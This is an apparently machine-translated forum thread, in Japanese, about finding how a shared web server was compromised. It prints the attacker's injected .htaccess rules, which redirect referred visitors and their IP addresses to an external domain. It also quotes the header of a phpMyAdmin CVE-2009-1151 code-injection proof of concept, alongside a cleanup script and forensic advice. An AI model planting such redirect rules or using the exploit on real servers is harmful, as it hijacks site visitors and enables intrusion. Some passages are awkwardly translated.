ウェブサーバーの脆弱性の発見

ウェブサーバーの脆弱性の発見

当社は約 300 の Web サイトをホストする Web サーバー ファームを運営しています。

昨日の朝、スクリプトがwww-data(Apacheユーザー)が所有する.htaccessファイルを配置しました。すべてのディレクトリほとんどのサイト (ただしすべてではない) の document_root の下にあります。

.htaccess ファイルの内容は次のとおりです。

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://
RewriteCond %{HTTP_REFERER} !%{HTTP_HOST}
RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR}

そのURL(「アンチウイルス」のMD5ハッシュ)をグーグルで検索したところ、同じことがインターネット上で起こっていることがわかりました。すでにこの問題に対処し、解決した人を探しています。脆弱性はどこにあるのか

ログのほとんどを検索しましたが、まだ決定的なものは見つかりません。同じことを経験して、私よりも穴の特定が進んだ人はいますか?

これまでに判明したことは以下のとおりです。

  • 変更は www-data として行われたため、Apache またはそのプラグインが原因である可能性があります。
  • すべての変更は15分以内に行われたので、おそらく自動化されていたのだろう。
  • 当社のウェブサイトはドメイン名が多岐にわたるため、すべてのサイトに共通する脆弱性ではなく、1 つのサイトの単一の脆弱性が原因であると考えられます。
  • .htaccess ファイルがすでに存在し、www-data によって書き込み可能な場合、スクリプトは親切で、上記の行をファイルの末尾に追加するだけです (簡単に元に戻すことができます)

さらにヒントがあればいただければ幸いです。

==編集==

必要な人のために、.htaccess ファイルをクリーンアップするために使用したスクリプトを以下に示します。

#!/bin/bash
PATT=84f6a4eef61784b33e4acbd32c8fdd72.com
DIR=/mnt
TMP=/tmp/`mktemp "XXXXXX"`
find $DIR -name .htaccess|while read FILE; do
  if ( grep $PATT "$FILE" > /dev/null); then
    if [ `cat "$FILE"|wc -l` -eq 4 ]; then
      rm "$FILE"
    else
      if ( tail -n1 "$FILE"|grep $PATT > /dev/null ); then
        rm $TMP
        cp "$FILE" $TMP
        LINES=`cat $TMP|wc -l`
        GOODLINES=$(($LINES-4))
        head -n $GOODLINES $TMP > "$FILE"
      else
        echo $FILE requires manual intervention
      fi
    fi
  fi
done

答え1

そこには悪用するphpMyAdminの

#!/bin/bash

# CVE-2009-1151: phpMyAdmin '/scripts/setup.php' PHP コード インジェクション RCE PoC v0.11
# 作成者: pagvac (gnucitizen.org)、2009 年 6 月 4 日。
# このような優れた脆弱性を発見してくれた Greg Ose (labs.neohapsis.com) と、この PoC スクリプトをテストしてフィードバックを提供してくれた str0ke (milw0rm.com) に特別な感謝を
申し上げます。

# PoC スクリプトは次のターゲットで正常にテストされました:
# phpMyAdmin 2.11.4、2.11.9.3、2.11.9.4、3.0.0、3.0.1.1
# Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)

# 攻撃要件:
# 1) 脆弱なバージョン (当然!): 2.11.9.5 より前の 2.11.x
# PMASA-2009-3 によると 3.1.3.1 より前の 3.x
# 2)思われる この脆弱性は、管理者がphpMyAdmin
のインストールを選択した環境に対してのみ悪用される可能性があります。
ウィザード手動の方法ではなく、次の方法を使用します。http://snipurl.com/jhjxx

# 3) 管理者は'/phpMyAdmin/' ディレクトリ内の '/config/' ディレクトリを削除していない必要があります。これは、このディレクトリ
が '/scripts/setup.php' が 'config.inc.php' を作成しようとする場所であり、そこに
悪意のある PHP コードが挿入されるためです 8)

# 詳細情報:
#http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
#http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/

答え2

攻撃は Apache 経由で行われたようなので、次の 2 つのことを行います。

  1. すべてのアクセスログを調べて「.htaccess」を探します。たとえば、
    grep -rn '\.htaccess' /var/log/httpd/*access*
  2. 履歴ファイルは、apache/httpd/whatever ユーザーのホーム ディレクトリ (通常は '/var/www' など) で調べます。

これにより、まず Web ユーザー自身が侵害されたのか、それとも攻撃者が任意のコマンド実行を利用していたのかがわかります。また、攻撃者が何をしたかの完全な説明が (潜在的に) 得られる可能性もあります。馬鹿げているように聞こえるかもしれませんが、このようなハッキングのほとんどは、後始末をしたり、このような証拠を残したりすることはめったにありません。

もちろん、組織内にセキュリティ インシデント対応やフォレンジック調査を実行するグ​​ループがある場合は、独自の分析を開始する前に、そのグループに機器を引き渡すことも検討してください。

関連情報